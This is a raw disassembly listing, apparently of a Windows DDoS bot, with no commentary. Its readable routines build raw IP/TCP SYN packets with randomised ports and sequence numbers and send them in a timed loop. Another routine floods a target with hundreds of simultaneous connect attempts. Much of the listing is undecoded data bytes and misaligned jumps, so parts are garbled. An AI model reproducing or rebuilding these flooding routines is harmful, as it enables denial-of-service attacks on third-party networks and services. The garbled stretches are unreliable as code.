offset unk_43DD88 push eax call sub_41BF36 add esp, 0Ch cmp [ebp-2Ch], ebx jnz short loc_412D5A push ebx lea eax, [ebp-2B8h] push dword ptr [ebp-30h] push eax lea eax, [ebp-0B4h] push eax push dword ptr [ebp-0B8h] call sub_4099D2 add esp, 14h loc_412D5A: ; CODE XREF: .nsp0:00412D38j lea eax, [ebp-2B8h] push eax call sub_4157A6 pop ecx push edi call dword_4D1288 ; closesocket push dword ptr [ebp-34h] call sub_40B32A pop ecx push ebx call near ptr 0B40000h push esi loc_412D7E: ; CODE XREF: .nsp0:00412D18j push ebx lea eax, [ebp-24h] push ebx push eax push ebx push ebx lea eax, [ebp-0Ch] push 4 push eax push 98000001h push edi mov [ebp-0Ch], esi call dword_4D119C ; WSAIoctl cmp eax, 0FFFFFFFFh jnz short near ptr loc_412E03+1 call dword_4D1184 ; WSAGetLastError push eax lea eax, [ebp-2B8h] push offset unk_43DD58 push eax call sub_41BF36 add esp, 0Ch cmp [ebp-2Ch], ebx jnz short loc_412DE0 push ebx lea eax, [ebp-2B8h] ; CODE XREF: .nsp0:loc_412E03j push dword ptr [ebp-30h] push eax lea eax, [ebp-0B4h] push eax push dword ptr [ebp-0B8h] call sub_4099D2 add esp, 14h loc_412DE0: ; CODE XREF: .nsp0:00412DBEj lea eax, [ebp-2B8h] push eax call sub_4157A6 pop ecx push edi call dword_4D1288 ; closesocket push dword ptr [ebp-34h] call sub_40B32A pop ecx push ebx call near ptr 0B40000h loc_412E03: ; CODE XREF: .nsp0:00412D9Ej js short near ptr loc_412DC1+2 add [edx], al ; --------------------------------------------------------------------------- db 0 dd 0FFFFBF00h, 858D0000h, 0FFFEEC48h, 0E8505357h, 8E24h ; CODE XREF: .nsp0:00412FFCj ; .nsp0:00413022j ... dd 8D0CC483h, 0FEEC4885h, 505753FFh, 0FFF075FFh, 4D120815h dd 51BD8000h, 6FFFEECh, 0B5FFCF75h, 0FFFEEC5Ch, 71E43D8Bh dd 0D7FF0042h, 0EC5EB5FFh, 0B70FFFFEh, 84589C0h, 7D83D7FFh dd 0B70F6E08h, 83AA74F8h, 7419087Dh, 6EFF83A4h, 0FF839F74h dd 0FF9A7419h, 0FEEC54B5h, 0FAD9E8FFh, 0FF59FFFFh, 0E815FF30h dd 50004271h, 0EC48858Dh, 8C68FFFFh, 50004335h, 90A1E8h dd 58B5FF00h, 0E8FFFEECh, 0FFFFFAB3h, 0FF10C483h, 0E815FF30h dd 50004271h, 0F448858Dh, 8C68FFFFh, 50004335h, 9079E8h dd 74858D00h, 89FFFEECh, 0E850FC5Dh, 89C4h, 8510C483h dd 8B347EC0h, 0BC80FC45h, 0FEEC7405h, 848D0DFFh, 0FEEC7405h dd 0C60375FFh, 38802000h, 0C603750Ah, 45FF2000h, 74858DFCh dd 50FFFEECh, 898FE8h, 0FC453900h, 83CC7C59h, 0F50087Dh dd 0A984h, 50FF8300h, 0A0840Fh, 858D0000h, 0FFFEEC74h dd 0FA3CE850h, 0C084FFFFh, 8D237459h, 0FEEC7485h, 858D50FFh dd 0FFFFF448h, 75FF5057h, 48858D08h, 50FFFFECh, 43DD2468h dd 9BE900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_412F4E: ; DATA XREF: .nsp0:off_44241Co cmp edi, 50h jz short loc_412FBA lea eax, [ebp-1138Ch] push eax call sub_412A79 test al, al pop ecx jz short loc_412F84 lea eax, [ebp-1138Ch] push eax lea eax, [ebp-0BB8h] push edi push eax push dword ptr [ebp+8] lea eax, [ebp-13B8h] push eax push offset unk_43DCF0 jmp short loc_412FE9 ; --------------------------------------------------------------------------- loc_412F84: ; CODE XREF: .nsp0:00412F62j cmp edi, 50h jz short loc_412FBA lea eax, [ebp-1138Ch] push eax call sub_412AEF test al, al pop ecx jz short loc_412FBA lea eax, [ebp-1138Ch] push eax lea eax, [ebp-0BB8h] push edi push eax push dword ptr [ebp+8] lea eax, [ebp-13B8h] push eax push offset unk_43DCBC jmp short loc_412FE9 ; --------------------------------------------------------------------------- loc_412FBA: ; CODE XREF: .nsp0:00412F51j ; .nsp0:00412F87j ... lea eax, [ebp-1138Ch] push eax call sub_412B76 test al, al pop ecx lea eax, [ebp-1138Ch] push eax jz short loc_413027 lea eax, [ebp-0BB8h] push edi push eax lea eax, [ebp-13B8h] push dword ptr [ebp+8] push eax push offset unk_43DC84 loc_412FE9: ; CODE XREF: .nsp0:00412F82j ; .nsp0:00412FB8j ... lea eax, [ebp-2B8h] push esi push eax call sub_41C030 add esp, 20h cmp [ebp-2Ch], ebx jnz near ptr dword_412E08+1 push ebx lea eax, [ebp-2B8h] push dword ptr [ebp-30h] push eax lea eax, [ebp-0B4h] push eax push dword ptr [ebp-0B8h] call sub_4099D2 add esp, 14h jmp near ptr dword_412E08+1 ; --------------------------------------------------------------------------- loc_413027: ; CODE XREF: .nsp0:00412FD0j call sub_412BFD test al, al pop ecx jz near ptr dword_412E08+1 lea eax, [ebp-1138Ch] push eax lea eax, [ebp-0BB8h] push edi push eax push dword ptr [ebp+8] lea eax, [ebp-13B8h] push eax push offset unk_43DC4C jmp short loc_412FE9 ; --------------------------------------------------------------------------- byte_413055 db 55h, 8Bh, 0ECh ; DATA XREF: .nsp0:00407F99o dd 494EC81h, 458B0000h, 0B9575608h, 0A5h, 0BD8DF08Bh, 0FFFFFD6Ch dd 80C7A5F3h, 290h, 1, 70A815FFh, 0E8500042h, 8F00h, 0FE74858Dh dd 8D50FFFFh, 0FFFF7485h, 858D50FFh, 0FFFFFDF4h, 74858D50h dd 50FFFFFDh, 395E8h, 858D5000h, 0FFFFFB6Ch, 43DDB468h dd 7BE85000h, 3300008Eh, 20C483F6h, 75F87539h, 858D5620h dd 0FFFFFB6Ch, 50F475FFh, 0FEF4858Dh, 0FF50FFFFh, 0FFFD6CB5h dd 68F0E8FFh, 0C483FFFFh, 6C858D14h, 50FFFFFBh, 26B5E8h dd 70B5FF00h, 0E8FFFFFDh, 0FFFF822Eh, 0E8565959h, 72CEFCh ; --------------------------------------------------------------------------- cli pop edi pop esi ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_413107 proc near ; CODE XREF: .nsp0:0041347Ep var_17AF1BBC = dword ptr -17AF1BBCh var_284 = byte ptr -284h var_F4 = byte ptr -0F4h var_B4 = byte ptr -0B4h var_B3 = byte ptr -0B3h var_A0 = byte ptr -0A0h var_94 = byte ptr -94h var_8C = byte ptr -8Ch var_78 = dword ptr -78h var_74 = dword ptr -74h var_70 = byte ptr -70h var_6F = byte ptr -6Fh var_6E = word ptr -6Eh var_58 = word ptr -58h var_56 = word ptr -56h var_54 = dword ptr -54h var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = byte ptr -34h var_32 = word ptr -32h var_30 = word ptr -30h var_2E = word ptr -2Eh var_2C = byte ptr -2Ch var_2B = byte ptr -2Bh var_2A = word ptr -2Ah var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = word ptr -14h var_12 = word ptr -12h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = byte ptr -8 var_7 = byte ptr -7 var_6 = word ptr -6 var_4 = word ptr -4 var_2 = word ptr -2 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 284h push ebx push edi push 0Eh xor ebx, ebx pop ecx xor eax, eax lea edi, [ebp+var_B3] mov [ebp+var_B4], bl rep stosd stosw stosb lea eax, [ebp+var_284] push eax push 202h call dword_4D1160 ; WSAStartup test eax, eax jz short loc_413147 xor eax, eax jmp loc_41343A ; --------------------------------------------------------------------------- loc_413147: ; CODE XREF: sub_413107+37j push 1 pop edi push edi push ebx push ebx push 0FFh push 3 push 2 call dword_4D1294 ; WSASocketA cmp eax, 0FFFFFFFFh mov [ebp+var_20], eax jz loc_413432 push esi lea ecx, [ebp+var_40] push 4 push ecx push 2 push ebx push eax mov [ebp+var_40], edi call dword_4D11D0 ; setsockopt cmp eax, 0FFFFFFFFh jz loc_413428 push [ebp+arg_C] mov [ebp+var_58], 2 call dword_4D11F0 ; ntohs mov esi, [ebp+arg_0] push 28h mov [ebp+var_56], ax mov [ebp+var_54], esi mov [ebp+var_34], 45h call dword_4D11F0 ; ntohs push [ebp+arg_C] mov [ebp+var_32], ax mov [ebp+var_30], di mov [ebp+var_2E], bx mov [ebp+var_2C], 80h mov [ebp+var_2B], 6 mov [ebp+var_2A], bx mov [ebp+var_24], esi call dword_4D11F0 ; ntohs mov [ebp+var_12], ax call sub_41BF92 movzx eax, ax cdq mov ecx, 401h idiv ecx push edx call dword_4D11F0 ; ntohs push 12345678h mov [ebp+var_14], ax call dword_4D11EC ; ntohl push offset dword_43DE10 mov [ebp+var_10], eax push [ebp+arg_8] call sub_41C710 pop ecx test eax, eax pop ecx jnz short loc_413217 mov [ebp+var_C], ebx mov [ebp+var_7], 2 jmp short loc_41326B ; --------------------------------------------------------------------------- loc_413217: ; CODE XREF: sub_413107+105j push offset dword_43DE04 push [ebp+arg_8] call sub_41C710 pop ecx test eax, eax pop ecx jnz short loc_413233 mov [ebp+var_C], ebx mov [ebp+var_7], 10h jmp short loc_41326B ; --------------------------------------------------------------------------- loc_413233: ; CODE XREF: sub_413107+121j push offset dword_43DDF8 push [ebp+arg_8] call sub_41C710 pop ecx test eax, eax pop ecx jnz short loc_41326B call sub_41BF92 push 3 cdq pop ecx idiv ecx mov [ebp+var_C], edx call sub_41BF92 push 2 cdq pop ecx idiv ecx neg edx sbb dl, dl and dl, 0Eh add dl, cl mov [ebp+var_7], dl loc_41326B: ; CODE XREF: sub_413107+10Ej ; sub_413107+12Aj ... push 4000h mov [ebp+var_8], 50h call dword_4D11F0 ; ntohs mov [ebp+var_6], ax lea eax, [ebp+var_48] push eax mov [ebp+var_2], bx mov [ebp+arg_8], ebx call near ptr 0B40000h or [ebp+var_17AF1BBC+1], ecx push 0E60072CDh push [ebp+var_44] mov eax, [ebp+arg_10] cdq push [ebp+var_48] push edx push eax call sub_41D950 add eax, [ebp+var_1C] push 14h pop esi adc edx, [ebp+var_18] mov [ebp+var_3C], eax mov [ebp+var_38], edx loc_4132B9: ; CODE XREF: sub_413107+2E2j ; sub_413107+2F0j mov [ebp+var_4], bx call sub_41BF92 cdq mov ecx, 3E9h idiv ecx add edx, 3E8h push edx call dword_4D11F0 ; ntohs mov [ebp+var_14], ax call sub_41BF92 mov edi, eax shl edi, 10h call sub_41BF92 or edi, eax push edi call dword_4D11F0 ; ntohs movzx eax, ax mov [ebp+var_10], eax mov eax, [ebp+arg_4] inc [ebp+arg_4] push eax call dword_4D11EC ; ntohl mov [ebp+var_28], eax mov eax, [ebp+var_24] push esi mov [ebp+var_74], eax mov [ebp+var_70], bl mov [ebp+var_6F], 6 call dword_4D11F0 ; ntohs mov [ebp+var_6E], ax mov eax, [ebp+var_28] mov [ebp+var_78], eax lea eax, [ebp+var_78] push 20h push eax lea eax, [ebp+var_B4] push eax call near ptr sub_41C9B0 lea eax, [ebp+var_14] push esi push eax lea eax, [ebp+var_94] push eax call near ptr sub_41C9B0 lea eax, [ebp+var_B4] push 34h push eax call sub_40ABC3 mov [ebp+var_4], ax lea eax, [ebp+var_34] push esi push eax lea eax, [ebp+var_B4] push eax call near ptr sub_41C9B0 lea eax, [ebp+var_14] push esi push eax lea eax, [ebp+var_A0] push eax call near ptr sub_41C9B0 push 4 lea eax, [ebp+var_8C] push ebx push eax call sub_41BC40 add esp, 44h lea eax, [ebp+var_B4] push 28h push eax call sub_40ABC3 mov [ebp+var_2A], ax lea eax, [ebp+var_34] push esi push eax lea eax, [ebp+var_B4] push eax call near ptr sub_41C9B0 add esp, 14h lea eax, [ebp+var_58] push 10h push eax push ebx lea eax, [ebp+var_B4] push 28h push eax push [ebp+var_20] call dword_4D1254 ; sendto cmp eax, 0FFFFFFFFh jz short loc_4133FC add [ebp+arg_8], eax lea eax, [ebp+var_1C] push eax call near ptr 0B40000h pop ecx mov eax, [ebp+var_18] cmp eax, [ebp+var_38] jg short loc_413425 jl loc_4132B9 mov eax, [ebp+var_1C] cmp eax, [ebp+var_3C] jnb short loc_413425 jmp loc_4132B9 ; --------------------------------------------------------------------------- loc_4133FC: ; CODE XREF: sub_413107+2CBj call dword_4D1184 ; WSAGetLastError push eax lea eax, [ebp+var_F4] push offset dword_43DDDC push eax call sub_41BF36 lea eax, [ebp+var_F4] push eax call sub_4157A6 add esp, 10h jmp short loc_413428 ; --------------------------------------------------------------------------- loc_413425: ; CODE XREF: sub_413107+2E0j ; sub_413107+2EEj mov ebx, [ebp+arg_8] loc_413428: ; CODE XREF: sub_413107+78j ; sub_413107+31Cj push [ebp+var_20] call dword_4D1288 ; closesocket pop esi loc_413432: ; CODE XREF: sub_413107+5Bj call dword_4D1148 ; WSACleanup mov eax, ebx loc_41343A: ; CODE XREF: sub_413107+3Bj pop edi pop ebx leave retn sub_413107 endp ; --------------------------------------------------------------------------- push ebx push esi push edi push dword ptr [esp+10h] call sub_40AA54 push dword ptr [esp+18h] mov esi, eax call sub_41BE29 push dword ptr [esp+24h] mov ebx, eax call sub_41BE29 mov edi, eax call sub_41BF92 cdq mov ecx, 200h push edi idiv ecx push ebx push dword ptr [esp+2Ch] lea eax, [edx+esi+100h] push eax push esi call sub_413107 add esp, 20h test eax, eax jnz short loc_41348D push 1 pop eax loc_41348D: ; CODE XREF: .nsp0:00413488j cdq mov ecx, 3E8h idiv ecx cdq idiv edi pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- dword_41349C dd 81EC8B55h, 3BCECh, 8B565300h, 6A570845h, 59F08B68h ; DATA XREF: .nsp0:00408172o dd 0FE44BD8Dh, 16AFFFFh, 0FF685Bh, 36A0000h, 26AA5F3h dd 19C9889h, 15FF0000h, 4D1270h, 89FFF883h, 5F75FC45h dd 118415FFh, 8D50004Dh, 0FFFC4485h, 0DF0068FFh, 0E8500043h dd 8A46h, 0C483FF33h, 0DC7D390Ch, 8D572075h, 0FFFC4485h dd 0D875FFFFh, 48858D50h, 50FFFFFFh, 0FE44B5FFh, 0BBE8FFFFh dd 83FFFF64h, 858D14C4h, 0FFFFFC44h, 2280E850h, 75FF0000h dd 7DFCE8C8h, 5959FFFFh, 0CACAE857h, 8DB20072h, 46AF44Dh dd 6AFF3351h, 89505702h, 15FFF45Dh, 4D11D0h, 75FFF883h dd 8415FF5Dh, 50004D11h, 0FC44858Dh, 0D068FFFFh, 500043DEh dd 89CDE8h, 0CC48300h, 75DC7D39h, 858D5720h, 0FFFFFC44h dd 50D875FFh, 0FF48858Dh, 0FF50FFFFh, 0FFFE44B5h, 6444E8FFh dd 0C483FFFFh, 44858D14h, 50FFFFFCh, 2209E8h, 0C875FF00h dd 0FF7D85E8h, 575959FFh, 72CA53E8h, 858D1A00h, 0FFFFFE48h dd 3015FF50h, 83004D12h, 5575FFF8h, 0FC44858Dh, 0B068FFFFh dd 500043DEh, 8965E8h, 0DC7D3900h, 20755959h, 44858D57h dd 0FFFFFFFCh, 8D50D875h, 0FFFF4885h, 0B5FF50FFh, 0FFFFFE44h dd 0FF63DDE8h, 14C483FFh, 0FC44858Dh, 0E850FFFFh, 21A2h dd 0E8C875FFh, 0FFFF7D1Eh, 0E8575959h, 72C9ECh, 8D106A82h dd 5057E445h, 861FE8h, 0CC48300h, 0E445C766h, 0FF570002h dd 4D11F015h, 45896600h, 48858DE6h, 50FFFFFEh, 123015FFh dd 358B004Dh, 4270A8h, 89E84589h, 0D6FF087Dh, 0FFF84589h dd 0F8452BD6h, 0E8B9D233h, 0F7000003h, 0D0453BF1h, 194870Fh dd 1C680000h, 0C6000004h, 4D3F6805h, 15FF4500h, 4D11F0h dd 66D47D39h, 4D3F6AA3h, 1D896600h, 4D3F6Ch, 6E3D8966h dd 0C6004D3Fh, 4D3F7005h, 1D888000h, 4D3F71h, 723D8966h dd 74004D3Fh, 88E4E830h, 0D88B0000h, 0E808E3C1h, 88DAh dd 0E3C1D803h, 88D0E808h, 0D8030000h, 0E808E3C1h, 88C6h dd 16AD803h, 3F741D89h, 0EB5B004Dh, 44B5FF18h, 0E8FFFFFEh dd 0FFFF7486h, 15FF5059h, 4D1230h, 4D3F74A3h, 0E8458B00h dd 4D3F78A3h, 8894E800h, 0B9990000h, 100h, 1588F9F7h, 4D3F7Ch dd 8881E8h, 0B99900h, 0F7000001h, 7D1588F9h, 0E8004D3Fh dd 886Eh, 0F0B999h, 680000h, 0F7000004h, 3D8966F9h, 4D3F7Eh dd 821D8966h, 42004D3Fh, 80158966h, 0E8004D3Fh, 8846h dd 0FFB999h, 0F9F70000h, 3F846852h, 0E1E8004Dh, 83000084h dd 458D0CC4h, 50106AE4h, 41C6857h, 68680000h, 0FF004D3Fh dd 15FFFC75h, 4D1254h, 74FFF883h, 845FF08h, 0FFFECAE9h dd 0FC75FFFFh, 128815FFh, 15FF004Dh, 4D1184h, 48858D50h dd 0FFFFFFFEh, 68500875h, 43DE68h, 0FC44858Dh, 68FFFFh dd 50000002h, 8877E8h, 18C48300h, 75DC7D39h, 858D5720h dd 0FFFFFC44h, 50D875FFh, 0FF48858Dh, 0FF50FFFFh, 0FFFE44B5h dd 61F4E8FFh, 0C483FFFFh, 44858D14h, 50FFFFFCh, 1FB9E8h dd 0C875FF00h, 0FF7B35E8h, 575959FFh, 72C803E8h, 75FF7600h dd 8815FFFCh, 8B004D12h, 0D2330845h, 8B3CC06Bh, 0AE8C1C8h dd 0C1D075F7h, 505114E9h, 0FE48858Dh, 75FFFFFFh, 858D5008h dd 0FFFFFEC8h, 44858D50h, 68FFFFFCh, 43DE1Ch, 86F8E850h dd 0C4830000h, 0DC7D391Ch, 8D572075h, 0FFFC4485h, 0D875FFFFh dd 48858D50h, 50FFFFFFh, 0FE44B5FFh, 6FE8FFFFh, 83FFFF61h dd 858D14C4h, 0FFFFFC44h, 1F34E850h, 75FF0000h, 7AB0E8C8h dd 5959FFFFh, 0C77EE857h db 72h, 0, 7 byte_413883 db 55h ; DATA XREF: .nsp0:00406F69o dd 20B8EC8Bh, 0E8000103h, 8940h, 5308458Bh, 496A5756h dd 8D59F08Bh, 0FFFEBCBDh, 6AA5F3FFh, 0B8895F01h, 120h dd 117815FFh, 4589004Dh, 40858D08h, 50FFFFFFh, 123015FFh dd 0F08B004Dh, 0C033DB33h, 75FFFE83h, 40858D11h, 50FFFFFFh dd 127415FFh, 0C33B004Dh, 7D830674h, 5D75FF08h, 0FF40858Dh dd 8D50FFFFh, 0FFFCBC85h, 0DF5868FFh, 0E8500043h, 863Ah dd 390CC483h, 2075D85Dh, 0BC858D53h, 0FFFFFFFCh, 8D50D475h dd 0FFFEC085h, 0B5FF50FFh, 0FFFFFEBCh, 0FF60B1E8h, 14C483FFh dd 0FCBC858Dh, 0E850FFFFh, 1E76h, 0E8D075FFh, 0FFFF79F2h dd 0E8575959h, 72C6C0h, 74C33BB3h, 0C408B0Ch, 8B008Bh dd 0EBFC4589h, 0FC758903h, 458D1C6Ah, 0E85053E0h, 82E0h dd 0FFE84D83h, 0FFDCB8h, 0CC48300h, 7EC44539h, 0C4458903h dd 7DC87D39h, 0C87D8903h, 5D39F633h, 0FF267EC0h, 458DC875h dd 501C6AE0h, 0E0858D53h, 0FFFFFEFCh, 0FF50C475h, 75FFFC75h dd 815FF08h, 46004D11h, 7CC0753Bh, 875FFDAh, 12A815FFh dd 858D004Dh, 0FFFFFF40h, 0BC858D50h, 68FFFFFCh, 43DF2Ch dd 856CE850h, 0C4830000h, 0D85D390Ch, 8D532075h, 0FFFCBC85h dd 0D475FFFFh, 0C0858D50h, 50FFFFFEh, 0FEBCB5FFh, 0E3E8FFFFh dd 83FFFF5Fh, 858D14C4h, 0FFFFFCBCh, 1DA8E850h, 75FF0000h dd 7924E8D0h, 5959FFFFh, 0C5F2E853h db 72h, 0, 80h byte_413A0F db 55h ; DATA XREF: .nsp0:004071B2o dd 10B8EC8Bh, 0E8000103h, 87B4h, 5308458Bh, 496A5756h dd 8D59F08Bh, 0FFFECCBDh, 6AA5F3FFh, 0B0895E01h, 120h dd 70A815FFh, 0E8500042h, 8544h, 6A116A59h, 0FF026A02h dd 4D127015h, 33D88B00h, 8D106AFFh, 5057F045h, 81DFE8h dd 0CC48300h, 0FF50858Dh, 0C766FFFFh, 2F045h, 3015FF50h dd 83004D12h, 4589FFF8h, 8D757508h, 0FFFF5085h, 15FF50FFh dd 4D1274h, 5D75C73Bh, 0FF50858Dh, 8D50FFFFh, 0FFFCCC85h dd 0DFAC68FFh, 0E8500043h, 848Eh, 390CC483h, 2075E87Dh dd 0CC858D57h, 0FFFFFFFCh, 8D50E475h, 0FFFED085h, 0B5FF50FFh dd 0FFFFFECCh, 0FF5F05E8h, 14C483FFh, 0FCCC858Dh, 0E850FFFFh dd 1CCAh, 0E8E075FFh, 0FFFF7846h, 0E8565959h, 72C514h dd 0C408B6Dh, 3EB008Bh, 8B08458Dh, 0DC7D3900h, 75F44589h dd 848CE811h, 0B9990000h, 0FFDCh, 5242F9F7h, 75FF03EBh dd 0F015FFDCh, 39004D11h, 8966DC75h, 37DF245h, 0B8DC7589h dd 0FFFFh, 7EDC4539h, 0DC458903h, 6AD0458Bh, 0F759990Ah dd 0D87D39F9h, 75D04589h, 0D8758903h, 7D39F633h, 0E81A7ED4h dd 843Eh, 0FFB999h, 0F9F70000h, 0D4753B46h, 0EF359488h dd 7CFFFEFCh, 0D0458BE6h, 85D04DFFh, 6A557EC0h, 458D5E0Bh dd 50106AF0h, 8410E857h, 0A6A0000h, 0F9F75999h, 2BD4458Bh dd 858D50C2h, 0FFFEFCF0h, 15FF5350h, 4D1254h, 0FFD875FFh dd 42706415h, 0CE754E00h, 75DC7D39h, 83E0E8BCh, 0B9990000h dd 0FFDCh, 5242F9F7h, 11F015FFh, 8966004Dh, 0A1EBF245h dd 0FF50858Dh, 8D50FFFFh, 0FFFCCC85h, 0DF8068FFh, 0E8500043h dd 8356h, 390CC483h, 2075E87Dh, 0CC858D57h, 0FFFFFFFCh dd 8D50E475h, 0FFFED085h, 0B5FF50FFh, 0FFFFFECCh, 0FF5DCDE8h dd 14C483FFh, 0FCCC858Dh, 0E850FFFFh, 1B92h, 0E8E075FFh dd 0FFFF770Eh, 0E8575959h, 72C3DCh db 94h byte_413C25 db 55h, 8Bh, 0ECh ; DATA XREF: .nsp0:00406840o dd 414EC81h, 458B0000h, 0B9575608h, 85h, 0BD8DF08Bh, 0FFFFFDECh dd 80C7A5F3h, 210h, 1, 0FEF0858Dh, 8D50FFFFh, 0FFFE7085h dd 858D50FFh, 0FFFFFDF0h, 11DE850h, 8D500000h, 0FFFBEC85h dd 0DFD468FFh, 0E8500043h, 82BEh, 0C483F633h, 0F8753918h dd 8D562075h, 0FFFBEC85h, 0F475FFFFh, 70858D50h, 50FFFFFFh dd 0FDECB5FFh, 33E8FFFFh, 83FFFF5Dh, 858D14C4h, 0FFFFFBECh dd 1AF8E850h, 75FF0000h, 7674E8F0h, 5959FFFFh, 0C342E856h dd 5F2D0072h ; --------------------------------------------------------------------------- pop esi ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_413CC1 proc near ; CODE XREF: .nsp0:00413DAAp var_654 = byte ptr -654h var_14 = word ptr -14h var_12 = word ptr -12h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 654h push 10h lea eax, [ebp+var_14] push 0 push eax call sub_41BC40 add esp, 0Ch mov [ebp+var_14], 2 push [ebp+arg_4] call dword_4D11F0 ; ntohs mov [ebp+var_12], ax mov eax, [ebp+arg_0] mov [ebp+var_10], eax mov eax, [ebp+arg_8] test eax, eax mov [ebp+var_4], 1 jle short loc_413D7F push ebx push esi push edi mov [ebp+arg_4], eax mov edi, 190h loc_413D0C: ; CODE XREF: sub_413CC1+B9j lea esi, [ebp+var_654] mov ebx, edi loc_413D14: ; CODE XREF: sub_413CC1+7Aj push 0 push 1 push 2 call dword_42721C ; socket cmp eax, 0FFFFFFFFh mov [esi], eax jz short loc_413D37 lea ecx, [ebp+var_4] push ecx push 8004667Eh push eax call dword_4271F4 ; ioctlsocket loc_413D37: ; CODE XREF: sub_413CC1+64j add esi, 4 dec ebx jnz short loc_413D14 lea esi, [ebp+var_654] mov ebx, edi loc_413D45: ; CODE XREF: sub_413CC1+96j lea eax, [ebp+var_14] push 10h push eax push dword ptr [esi] call dword_42720C ; connect add esi, 4 dec ebx jnz short loc_413D45 push 64h call dword_427064 ; Sleep lea esi, [ebp+var_654] mov ebx, edi loc_413D69: ; CODE XREF: sub_413CC1+B4j push dword ptr [esi] call dword_427218 ; closesocket add esi, 4 dec ebx jnz short loc_413D69 dec [ebp+arg_4] jnz short loc_413D0C pop edi pop esi pop ebx loc_413D7F: ; CODE XREF: sub_413CC1+3Ej xor eax, eax leave retn sub_413CC1 endp ; --------------------------------------------------------------------------- push ebx push esi push edi push dword ptr [esp+10h] call sub_40AA54 push dword ptr [esp+18h] mov edi, eax call sub_41BE29 push dword ptr [esp+20h] mov ebx, eax call sub_41BE29 mov esi, eax push esi push ebx push edi call sub_413CC1 add esp, 18h test eax, eax jnz short loc_413DB9 push 1 pop eax loc_413DB9: ; CODE XREF: .nsp0:00413DB4j cdq mov ecx, 3E8h pop edi idiv ecx cdq idiv esi pop esi pop ebx retn ; --------------------------------------------------------------------------- dword_413DC8 dd 81EC8B55h, 414ECh, 8458B00h, 85B95756h, 8B000000h, 0ECBD8DF0h ; DATA XREF: .nsp0:00407EA0o dd 0F3FFFFFDh, 1080C7A5h, 1000002h, 8D000000h, 0FFFEF085h dd 858D50FFh, 0FFFFFE70h, 0F0858D50h, 50FFFFFDh, 30DE8h dd 858D5000h, 0FFFFFBECh, 43E00068h, 1BE85000h, 33000081h dd 18C483F6h, 75F87539h, 858D5620h, 0FFFFFBECh, 50F475FFh dd 0FF70858Dh, 0FF50FFFFh, 0FFFDECB5h, 5B90E8FFh, 0C483FFFFh dd 0EC858D14h, 50FFFFFBh, 1955E8h, 0F075FF00h, 0FF74D1E8h dd 565959FFh, 72C19FE8h, 5E5F0700h ; --------------------------------------------------------------------------- loc_413E64: ; CODE XREF: .nsp0:00414152p push ebp mov ebp, esp sub esp, 284h push ebx push edi push 0Eh xor ebx, ebx pop ecx xor eax, eax lea edi, [ebp-0B3h] mov [ebp-0B4h], bl rep stosd stosw stosb lea eax, [ebp-284h] push eax push 202h call dword_4D1160 ; WSAStartup test eax, eax jz short loc_413EA4 xor eax, eax jmp loc_414112 ; --------------------------------------------------------------------------- loc_413EA4: ; CODE XREF: .nsp0:00413E9Bj push 1 pop edi push edi push ebx push ebx push 0FFh push 3 push 2 call dword_4D1294 ; WSASocketA cmp eax, 0FFFFFFFFh mov [ebp-0Ch], eax jz loc_41410A push esi lea ecx, [ebp-38h] push 4 push ecx push 2 push ebx push eax mov [ebp-38h], edi call dword_4D11D0 ; setsockopt cmp eax, 0FFFFFFFFh jz loc_414100 push 10h lea eax, [ebp-50h] push ebx push eax call sub_41BC40 add esp, 0Ch mov word ptr [ebp-50h], 2 push dword ptr [ebp+10h] call dword_4D11F0 ; ntohs mov esi, [ebp+8] push 28h mov [ebp-4Eh], ax mov [ebp-4Ch], esi mov byte ptr [ebp-20h], 45h call dword_4D11F0 ; ntohs push dword ptr [ebp+10h] mov [ebp-1Eh], ax mov [ebp-1Ch], di mov [ebp-1Ah], bx mov byte ptr [ebp-18h], 80h mov byte ptr [ebp-17h], 6 mov [ebp-16h], bx mov [ebp-10h], esi call dword_4D11F0 ; ntohs push 4000h mov [ebp-32h], ax mov [ebp-2Ch], ebx mov byte ptr [ebp-28h], 50h mov byte ptr [ebp-27h], 2 call dword_4D11F0 ; ntohs mov [ebp-26h], ax lea eax, [ebp-40h] push eax mov [ebp-22h], bx mov [ebp+10h], ebx call near ptr 0B40000h pop edx lea eax, [ebp-8] push eax call near ptr 0B40000h ; --------------------------------------------------------------------------- dw 0FFDFh dd 458BC475h, 75FF9914h, 0E85052C0h, 99CCh, 8BF84503h dd 0FC7513F2h, 66A84589h, 0E8DC5D89h, 7FFAh, 3E9B999h dd 0F9F70000h, 3E8C281h, 0FF520000h, 4D11F015h, 45896600h dd 7FDCE8CCh, 0F88B0000h, 0E810E7C1h, 7FD2h, 0FF57F80Bh dd 4D11F015h, 0C0B70F00h, 8BD04589h, 45FF0C45h, 15FF500Ch dd 4D11ECh, 4589146Ah, 0F0458BECh, 4589575Fh, 905D888Ch dd 69145C6h, 11F015FFh, 8966004Dh, 458B9245h, 884589ECh dd 6A88458Dh, 858D5020h, 0FFFFFF4Ch, 899EE850h, 458D0000h dd 8D5057CCh, 0FFFF6C85h, 8DE850FFh, 8D000089h, 0FFFF4C85h dd 50346AFFh, 0FF6B92E8h, 458966FFh, 0E0458DDCh, 858D5057h dd 0FFFFFF4Ch, 896AE850h, 458D0000h, 8D5057CCh, 0FFFF6085h dd 59E850FFh, 6A000089h, 74858D04h, 53FFFFFFh, 7BDAE850h dd 0C4830000h, 4C858D44h, 6AFFFFFFh, 4CE85028h, 66FFFF6Bh dd 8DEA4589h, 5057E045h, 0FF4C858Dh, 0E850FFFFh, 8924h dd 8D14C483h, 106AB045h, 858D5350h, 0FFFFFF4Ch, 0FF50286Ah dd 15FFF475h, 4D1254h, 74FFF883h, 10450127h, 50F8458Dh dd 72BF47E8h, 458B2400h, 7FC63BFCh, 0C88C0F3Ch, 8BFFFFFEh dd 453BF845h, 